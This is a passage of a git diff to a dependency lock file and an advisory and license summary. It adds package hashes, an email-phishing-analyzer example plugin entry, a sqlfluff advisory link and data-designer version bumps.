"schema_version": "1.7.5", "id": "GHSA-73jc-5mrq-prw7", @@ -9496,6 +6378,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46374" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/sqlfluff/PYSEC-2026-210.yaml" + }, { "type": "PACKAGE", "url": "https://github.com/sqlfluff/sqlfluff" @@ -10166,7 +7052,7 @@ "license_summary": [ { "name": "MIT", - "count": 129 + "count": 130 }, { "name": "Apache-2.0", @@ -10254,7 +7140,7 @@ }, { "name": "UNKNOWN", - "count": 5 + "count": 4 } ] } \ No newline at end of file diff --git a/third_party/requirements-main.txt b/third_party/requirements-main.txt index a788472b92..b2fe13cabb 100644 --- a/third_party/requirements-main.txt +++ b/third_party/requirements-main.txt @@ -100,6 +100,8 @@ -e ./plugins/nemo-agents ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-agents/examples/calculator-agent ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemo-agents-plugin +-e ./plugins/nemo-agents/examples/email-phishing-analyzer ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') + # via nemo-agents-plugin -e ./plugins/nemo-anonymizer ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-auditor ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nmp-platform-seed @@ -107,6 +109,7 @@ -e ./plugins/nemo-customizer ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-data-designer ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-deployments ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') + # via nemo-agents-plugin -e ./plugins/nemo-evaluator ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-guardrails ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-rl ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') @@ -212,26 +215,50 @@ aiohappyeyeballs==2.6.1 ; (platform_machine == 'arm64' and sys_platform == 'darw # via aiohttp aiohttp==3.14.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:1b9748363260121d2927704f5d4fc498150669ca3ae93625986ee89c8f80dcd4 \ + --hash=sha256:1c1421eb01d4fd608d88cc8290211d177a58532b55ad94076fb349c5bf467f0a \ --hash=sha256:1d459b98a932296c6f0e94f87511a0b1b90a8a02c30a50e60a297619cd5a58ee \ + --hash=sha256:269b76ac5394092b95bc4a098f4fc6c191c083c3bd12775d1e30e663132f6a09 \ --hash=sha256:27fd7c91e51729b4f7e1577865fa6d34c9adccbc39aabe9000285b48af9f0ec2 \ + --hash=sha256:2f73e01dc37122325caf079982621262f96d74823c179038a82fddfc50359264 \ + --hash=sha256:2fbc3ed048b3475b9f0cbcb9978e9d2d3511acd91ead203af26ed9f0056004cf \ --hash=sha256:307f2cff90a764d329e77040603fa032db89c5c24fdad50c4c15334cba744035 \ --hash=sha256:317acd9f8602858dc7d59679812c376c7f0b97bcbbf16e0d6237f54141d8a8a6 \ + --hash=sha256:34b257ec41345c1e8f2df68fa908a7952f5de932723871eb633ecbbff396c9a4 \ --hash=sha256:3e6fc1a85fa7194a1a7d19f44e8609180f4a8eb5fa4c7ed8b4355f080fad235c \ + --hash=sha256:4cd96b5ba05d67ed0cf00b5b405c8cd99586d8e3481e8ee0a831057591af7621 \ + --hash=sha256:5663ee9257cfa1add7253a7da3035a02f31b6600ec48261585e1800a81533080 \ + --hash=sha256:5c0b3e614340c889d575451696374c9d17affd54cd607ca0babed8f8c37b9397 \ + --hash=sha256:5f2504bc0322437c9a1ff6d3333ca56c7477b727c995f036b976ae17b98372c8 \ + --hash=sha256:603a2c834142172ffddc054067f5ec0ca65d57a0aa98a71bc81952573208e345 \ --hash=sha256:64c567bf9eaf664280116a8688f63016e6b32db2505908e2bdaca1b6438142f2 \ + --hash=sha256:686b6c0d3911ec387b444ddf5dc62fb7f7c0a7d5186a7861626496a5ab4aff95 \ --hash=sha256:6f71173be42d3241d428f760122febb748de0623f44308a6f120d0dd9ec572e3 \ + --hash=sha256:73f05ea02013e02512c3bf42714f1208c57168c779cc6fe23516e4543089d0a6 \ + --hash=sha256:764457a7be60825fb770a644852ff717bcbb5042f189f2bd16df61a81b3f6573 \ + --hash=sha256:797457503c2d426bee06eef808d07b31ede30b65e054444e7de64cad0061b7af \ --hash=sha256:7fb4bdf95b0561a79f259f9d28fbc109728c5ee7f27aff6391f0ca703a329abe \ --hash=sha256:86a6dab78b0e43e2897a3bbe15745aa60dc5423ca437b7b0b164c069bf91b876 \ + --hash=sha256:87a5eea1b2a5e21e1ebdbb33ad4165359189327e63fc4e4894693e7f821ac817 \ --hash=sha256:915fbb7b41b115192259f8c9ae58f3ddc444d2b5579917270211858e606a4afd \ + --hash=sha256:93b032b5ec3255473c143627d21a69ac74ae12f7f33974cb587c564d11b1066f \ --hash=sha256:97e704dcd26271f5bda3fa07c3ce0fb76d6d3f8659f4baa1a24442cc9ba177ca \ + --hash=sha256:9af6779bfb46abf124068327abcdf9ce95c9ef8287a3e8da76ccf2d0f16c28fa \ --hash=sha256:aa00140699487bd435fde4342d85c94cb256b7cd3a5b9c3396c67f19922afda2 \ --hash=sha256:b6feea921016eb3d4e04d65fc4e9ca402d1a3801f562aef94989f54694917af3 \ --hash=sha256:b821a1f7dedf7e37450654e620038ac3b2e81e8fa6ea269337e97101978ec730 \ + --hash=sha256:bb2c0c80d431c0d03f2c7dbf125150fedd4f0de17366a7ca33f7ccb822391842 \ --hash=sha256:bd869c427324e5cb15195793de951295710db28be7d818247f3097b4ab5d4b96 \ + --hash=sha256:bedb0cd073cc2dc035e30aeb99444389d3cd2113afe4ef9fcd23d439f5bade85 \ --hash=sha256:c6fa4dc7ad6f8109c70bb1499e589f76b0b792baf39f9b017eb92c8a81d0a199 \ --hash=sha256:cb21957bb8aca671c1765e32f58164cf0c50e6bf41c0bbbd16da20732ecaf588 \ --hash=sha256:d35143e27778b4bb0fb189562d7f275bff79c62ab8e98459717c0ea617ff2480 \ --hash=sha256:d3b1a184a9a8f548a6b73f1e26b96b052193e4b3175ed7342aaf1151a1f00a04 \ --hash=sha256:d44ec478e713ee7f29b439f7eb8dc2b9d4079e11ae114d2c2ac3d5daf30516c8 \ + --hash=sha256:de538791a80e5d862addbc183f70f0158ac9b9bb872bb147f1fd2a683691e087 \ + --hash=sha256:f234b4deb12f3ad59127e037bc57c40c21e45b45282df7d3a55a0f409f595296 \ + --hash=sha256:f380468b09d2a81633ee863b0ec5648d364bd17bb8ecfb8c2f387f7ac1faf42c \ + --hash=sha256:f5e6ff2bdbb8f4cd3fbe41f99e25bbcd58e3bf9f13d3dd31a11e7917251cc77a \ + --hash=sha256:f7a16ef45b081454ef844502d87a848876c490c4cb5c650c230f6ec79ed2c1e7 \ --hash=sha256:faccab372e66bc76d5731525e7f1143c922271725b9d38c9f97edcc66266b451 # via # aiobotocore @@ -427,6 +454,7 @@ certifi==2026.2.25 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # requests # sentry-sdk cffi==2.0.0 ; (platform_machine == 'arm64' and platform_python_implementation != 'PyPy' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux') or (platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux') \ + --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ @@ -434,15 +462,20 @@ cffi==2.0.0 ; (platform_machine == 'arm64' and platform_python_implementation != --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \ --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \ + --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \ --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \ + --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \ --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \ --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \ + --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \ --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \ --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \ --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \ --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \ - --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c + --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \ + --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \ + --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 # via cryptography chardet==5.2.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7 \ @@ -452,23 +485,47 @@ chardet==5.2.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( # diff-cover # sqlfluff charset-normalizer==3.4.6 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:0c173ce3a681f309f31b87125fecec7a5d1347261ea11ebbb856fa6006b23c8c \ --hash=sha256:0e28d62a8fc7a1fa411c43bd65e346f3bce9716dc51b897fbe930c5987b402d5 \ --hash=sha256:11afb56037cbc4b1555a34dd69151e8e069bee82e613a73bef6e714ce733585f \ --hash=sha256:1ae6b62897110aa7c79ea2f5dd38d1abca6db663687c0b1ad9aed6f6bae3d9d6 \ + --hash=sha256:231d4da14bcd9301310faf492051bee27df11f2bc7549bc0bb41fef11b82daa2 \ + --hash=sha256:2b1a63e8224e401cafe7739f77efd3f9e7f5f2026bda4aead8e59afab537784f \ --hash=sha256:2ef7fedc7a6ecbe99969cd09632516738a97eeb8bd7258bf8a0f23114c057dab \ + --hash=sha256:30f445ae60aad5e1f8bdbb3108e39f6fbc09f4ea16c815c66578878325f8f15a \ + --hash=sha256:34315ff4fc374b285ad7f4a0bf7dcbfe769e1b104230d40f49f700d4ab6bbd84 \ --hash=sha256:404a1e552cf5b675a87f0651f8b79f5f1e6fd100ee88dc612f89aa16abd4486f \ --hash=sha256:423fb7e748a08f854a08a222b983f4df1912b1daedce51a72bd24fe8f26a1843 \ + --hash=sha256:530d548084c4a9f7a16ed4a294d459b4f229db50df689bfe92027452452943a0 \ --hash=sha256:530e8cebeea0d76bdcf93357aa5e41336f48c3dc709ac52da2bb167c5b8271d9 \ --hash=sha256:5f8ddd609f9e1af8c7bd6e2aca279c931aefecd148a14402d4e368f3171769fd \ + --hash=sha256:5feb91325bbceade6afab43eb3b508c63ee53579fe896c77137ded51c6b6958e \ --hash=sha256:60c74963d8350241a79cb8feea80e54d518f72c26db618862a8f53e5023deaf9 \ + --hash=sha256:613f19aa6e082cf96e17e3ffd89383343d0d589abda756b7764cf78361fd41dc \ + --hash=sha256:695f5c2823691a25f17bc5d5ffe79fa90972cc34b002ac6c843bb8a1720e950d \ --hash=sha256:6cceb5473417d28edd20c6c984ab6fee6c6267d38d906823ebfe20b03d607dc2 \ + --hash=sha256:7a6967aaf043bceabab5412ed6bd6bd26603dae84d5cb75bf8d9a74a4959d398 \ + --hash=sha256:80d0a5615143c0b3225e5e3ef22c8d5d51f3f72ce0ea6fb84c943546c7b25b6c \ --hash=sha256:82060f995ab5003a2d6e0f4ad29065b7672b6593c8c63559beefe5b443242c3e \ + --hash=sha256:836ab36280f21fc1a03c99cd05c6b7af70d2697e374c7af0b61ed271401a72a2 \ + --hash=sha256:8e5a94886bedca0f9b78fecd6afb6629142fd2605aa70a125d49f4edc6037ee6 \ + --hash=sha256:90ca27cd8da8118b18a52d5f547859cc1f8354a00cd1e8e5120df3e30d6279e5 \ + --hash=sha256:92734d4d8d187a354a556626c221cd1a892a4e0802ccb2af432a1d85ec012194 \ --hash=sha256:947cf925bc916d90adba35a64c82aace04fa39b46b52d4630ece166655905a69 \ --hash=sha256:9cc4fc6c196d6a8b76629a70ddfcd4635a6898756e2d9cac5565cf0654605d73 \ --hash=sha256:a056d1ad2633548ca18ffa2f85c202cfb48b68615129143915b8dc72a806a923 \ + --hash=sha256:a26611d9987b230566f24a0a125f17fe0de6a6aff9f25c9f564aaa2721a5fb88 \ --hash=sha256:a4ea868bc28109052790eb2b52a9ab33f3aa7adc02f96673526ff47419490e21 \ --hash=sha256:ac2393c73378fea4e52aa56285a3d64be50f1a12395afef9cce47772f60334c2 \ - --hash=sha256:b35b200d6a71b9839a46b9b7fff66b6638bb52fc9658aa58796b0326595d3021 + --hash=sha256:b35b200d6a71b9839a46b9b7fff66b6638bb52fc9658aa58796b0326595d3021 \ + --hash=sha256:bc72863f4d9aba2e8fd9085e63548a324ba706d2ea2c83b260da08a59b9482de \ + --hash=sha256:c907cdc8109f6c619e6254212e794d6548373cc40e1ec75e6e3823d9135d29cc \ + --hash=sha256:d60377dce4511655582e300dc1e5a5f24ba0cb229005a1d5c8d0cb72bb758ab8 \ + --hash=sha256:d73beaac5e90173ac3deb9928a74763a6d230f494e4bfb422c217a0ad8e629bf \ + --hash=sha256:e3c701e954abf6fc03a49f7c579cc80c2c6cc52525340ca3186c41d3f33482ef \ + --hash=sha256:f1ce721c8a7dfec21fcbdfe04e8f68174183cf4e8188e0645e92aa23985c57ff \ + --hash=sha256:f6e4333fb15c83f7d1482a76d45a0818897b3d33f00efd215528ff7c51b8e35d \ + --hash=sha256:f820f24b09e3e779fe84c3c456cb4108a7aa639b0d1f02c28046e11bfcd088ed # via requests circuitbreaker==2.1.3 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:1a4baee510f7bea3c91b194dcce7c07805fe96c4423ed5594b75af438531d084 \ @@ -527,6 +584,7 @@ cryptography==46.0.7 ; (platform_machine == 'arm64' and sys_platform == 'darwin' --hash=sha256:04959522f938493042d595a736e7dbdff6eb6cc2339c11465b3ff89343b65f65 \ --hash=sha256:128c5edfe5e5938b86b03941e94fac9ee793a94452ad1365c9fc3f4f62216832 \ --hash=sha256:1d25aee46d0c6f1a501adcddb2d2fee4b979381346a78558ed13e50aa8a59067 \ + --hash=sha256:24402210aa54baae71d99441d15bb5a1919c195398a87b563df84468160a65de \ --hash=sha256:35719dc79d4730d30f1c2b6474bd6acda36ae2dfae1e3c16f2051f215df33ce0 \ --hash=sha256:3986ac1dee6def53797289999eabe84798ad7817f3e97779b5061a95b0ee4968 \ --hash=sha256:420b1e4109cc95f0e5700eed79908cef9268265c773d3a66f7af1eef53d409ef \ @@ -540,9 +598,14 @@ cryptography==46.0.7 ; (platform_machine == 'arm64' and sys_platform == 'darwin' --hash=sha256:84d4cced91f0f159a7ddacad249cc077e63195c36aac40b4150e7a57e84fffe7 \ --hash=sha256:8a469028a86f12eb7d2fe97162d0634026d92a21f3ae0ac87ed1c4a447886c83 \ --hash=sha256:91bbcb08347344f810cbe49065914fe048949648f6bd5c2519f34619142bbe85 \ + --hash=sha256:935ce7e3cfdb53e3536119a542b839bb94ec1ad081013e9ab9b7cfd478b05006 \ + --hash=sha256:9694078c5d44c157ef3162e3bf3946510b857df5a3955458381d1c7cfc143ddb \ --hash=sha256:a1529d614f44b863a7b480c6d000fe93b59acee9c82ffa027cfadc77521a9f5e \ --hash=sha256:abad9dac36cbf55de6eb49badd4016806b3165d396f64925bf2999bcb67837ba \ --hash=sha256:b36a4695e29fe69215d75960b22577197aca3f7a25b9cf9d165dcfe9d80bc325 \ + --hash=sha256:cbd5fb06b62bd0721e1170273d3f4d5a277044c47ca27ee257025146c34cbdd1 \ + --hash=sha256:cdf1a610ef82abb396451862739e3fc93b071c844399e15b90726ef7470eeaf2 \ + --hash=sha256:cdfbe22376065ffcf8be74dc9a909f032df19bc58a699456a21712d6e5eabfd0 \ --hash=sha256:d02c738dacda7dc2a74d1b2b3177042009d5cab7c7079db74afc19e56ca1b455 \ --hash=sha256:d3b99c535a9de0adced13d159c5a9cf65c325601aa30f4be08afd680643e9c15 \ --hash=sha256:e4cfd68c5f3e0bfdad0d38e023239b96a2fe84146481852dffbcca442c245aa5 \ @@ -567,23 +630,23 @@ cyclopts==4.10.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # via # fastmcp # nemo-anonymizer -data-designer==0.6.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:257e58e1fb860c59c9d0cc83969c52f313f55f113f112301672382d04be78a05 \ - --hash=sha256:bee4baa4779fa1e1592270a64a0f63760de4025693b44344d97679aa1484b163 +data-designer==0.7.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:a97c65c45773ffd00d8a38ed0a3ab82c42fb627198b196e3f62ac3f30f9aee23 \ + --hash=sha256:c322682d7d14674e31d936be8db74e71e4eb31c9ab09e3ceef3c0fc84a5ddbeb # via # data-designer-nemo # nemo-anonymizer # nemo-anonymizer-plugin # nemo-data-designer-plugin -data-designer-config==0.6.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:16f53fc34e11915aa821e3324de8e39bc6b03e7a2cd5402bbeca731bd6eea072 \ - --hash=sha256:69a5de862246933e16e68a8b58fde90dad5156a14a20184fd276b6bff53cf2ae +data-designer-config==0.7.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:2a18a8cfcf686c5d508db601d6ef749c057df82936d577072c2465b0674144ce \ + --hash=sha256:4571cf46fc90e173e9723652f24e31a6555077ef8abe7ac543fd8edf9ce88fc3 # via # data-designer # data-designer-engine -data-designer-engine==0.6.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:f0d79b7e41e034ed31e946c617637ce1242a4283eb1031a8d5739d51fe85cfd5 \ - --hash=sha256:fc75c0cb28aa8da0a98fe9a2ee101cdf05fb41d0cac01a9a4d7d2c40e1e72077 +data-designer-engine==0.7.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:33f38f6f6af706e70784290f6b40cf93711dc99033598fbdd695204d445918b5 \ + --hash=sha256:5835dd25e258170fab623867bc6bea19d6c1ce838454e8d0472376b0dbba2cf9 # via data-designer databricks-sdk==0.102.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:75d1253276ee8f3dd5e7b00d62594b7051838435e618f74a8570a6dbd723ec12 \ @@ -731,24 +794,44 @@ fastar==0.9.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p --hash=sha256:108bb46c080ca152bb331f1e0576177d36e9badba51b1d5724d2823542e0dd1f \ --hash=sha256:17e2c3b46408193ea13c1e1177275ca7951e88bd3dce16baccb8de4f5e0dc2e8 \ --hash=sha256:2394980cc126a3263e115600bc4ff9e7320cddde83c99fc334ab530be5b7166e \ + --hash=sha256:24b13fc4ef3f1e3c9cc2dcf07ad9445900db9d3ce09b73021547a55994d0407f \ + --hash=sha256:3feede2d72ec0782b5ccc18568f36cbe33816be396551aa47b3e1b73c322cdd2 \ + --hash=sha256:40b8c08df809e5e58d1839ccb37bafe4485deb6ee56bb7c5f0cbb72d701eb965 \ + --hash=sha256:4a734506b071d2a8844771fe735fbd6d67dd0eec80eef5f189bbe763ebe7a0b8 \ + --hash=sha256:4d012644421d669d9746157193f4eafd371e8ae56ff7aef97612a4922418664c \ + --hash=sha256:52f96a3d4cfbe4f06b376706fa0562f3a1d2329bc37168119af0e47e1ac21cab \ + --hash=sha256:57e9b94e485713c79bb259f7ecff1213527d05e9aa43a157c3fbc88812cf163e \ --hash=sha256:59bc500d7b6bdaf2ffb2b632bc6b0f97ddfb3bb7d31b54d61ceb00b5698d6484 \ + --hash=sha256:59d860e82a531e9cc67e7f500a299bffbe6e93d80bbf48401fd8f452a0c58f28 \ --hash=sha256:5a67b061b1099cf3b8b6234dd3605fa16f5078ab6b51c8d77ad7a5d11c3cf834 \ --hash=sha256:5c03fad1ad9ac57cf03a4db9e18c7109c37416ff4eb9ebfca98fcd2b233a26c4 \ + --hash=sha256:75c70be3a7da3ff9342f64c15ec3749c13ef56bc28e69075d82d03768532a8d0 \ --hash=sha256:76be31936cabce31cbb6381128f851cf0a6da2d5c25357615cd1504b26dc31cf \ + --hash=sha256:7bf6958bb6f94e5ec522e4a255b8e940d3561ad973f0be5dde6115b5a0854af5 \ --hash=sha256:87006c8770dfc558aefe927590bbcdaf9648ca4472a9ee6d10dfb7c0bda4ce5b \ + --hash=sha256:8eac084ab215aaf65fa406c9b9da1ac4e697c3d3a1a183e09c488e555802f62d \ + --hash=sha256:912efe3121dc1f3c05940cfa1c6b09b8868d702d24566506aa1d0d96e429923a \ --hash=sha256:9ec841a69fea73361c6df6d9183915c09e9ce3bd96493763fa46019e79918400 \ + --hash=sha256:a79c53c3003958dca88a7ec3dd805bf9c2fb2a659110039f44571d57e329e3d4 \ --hash=sha256:acb62e2369834fb23d26327157f0a2dbec40b230c709fa85b1ce96cf010e6fbf \ --hash=sha256:b665c33afcd1d581b82235b690d999c5446ccc2c4d80c4a95f30df3b43d22494 \ --hash=sha256:c75e779f72d845037d4bf6692d01ac66f014eaef965c9231d41d5cc1276b89fc \ --hash=sha256:c8ac3e8aaee57dfc822b04f570f0a963c2381a9dc8990fe0c6e965efd23fd451 \ + --hash=sha256:c93bf4732d0dd6adae4a8b3bbebe19af76ee1072b7688bf39c5a1d120425a772 \ --hash=sha256:c9bd8879ebf05aa247e60e454bb7568cbdd44f016b8c58e31e5398039403e61d \ + --hash=sha256:d0aff74ea98642784c941d3cd8c35943258d4b9626157858901c5b181683339b \ + --hash=sha256:d17d311cfbb559154ba940972b6d07a3a7ac221a2a01208f119ad03495f01d32 \ + --hash=sha256:d2a9a49f9217f4f60f9ba23fdd1f7f3f04fed97391145eb9460ec83ca0b4bd33 \ + --hash=sha256:d2ef34e7088f308e73460e1b8d9b0479a743f679816782a80db6ae87ee68714a \ --hash=sha256:d49114d5f0b76c5cc242875d90fa4706de45e0456ddedf416608ecd0787fb410 \ --hash=sha256:d62a4fd86eda3bea7cc32efd64d43b6d0fcdbbec009558b750fc362f20142789 \ --hash=sha256:d9ac410d32cbb514e966c45f0fedd0f9447b0dea9e734af714648da503603df6 \ --hash=sha256:de264da9e8ef6407aa0b23c7c47ed4e34fde867e7c1f6e3cb98945a93e5f89f2 \ --hash=sha256:ec7852de506d022ad36ad56f4aefb10c259dd59e485bf87af827954d404ba9d5 \ --hash=sha256:f07c6bdeedfeb30ef459f21fa9ab06e2b6727f7e7653176d3abb7a85f447c400 \ - --hash=sha256:fad70e257daefb42bab68dcd68beaf2e2a99da056d65f2c9f988449a4e869306 + --hash=sha256:f2f399fffb74bcd9e9d4507e253ace2430b5ccf61000596bda41e90414bcf4f2 \ + --hash=sha256:fad70e257daefb42bab68dcd68beaf2e2a99da056d65f2c9f988449a4e869306 \ + --hash=sha256:fb06d0a0cc3cf52a9c07559bb16ab99eb75afe0b3d5ce68f5c299569460851ac # via # fastapi # fastapi-cloud-cli @@ -797,29 +880,53 @@ flatbuffers==25.12.19 ; (platform_machine == 'arm64' and sys_platform == 'darwin --hash=sha256:7634f50c427838bb021c2d66a3d1168e9d199b0607e6329399f04846d42e20b4 # via onnxruntime frozenlist==1.8.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ 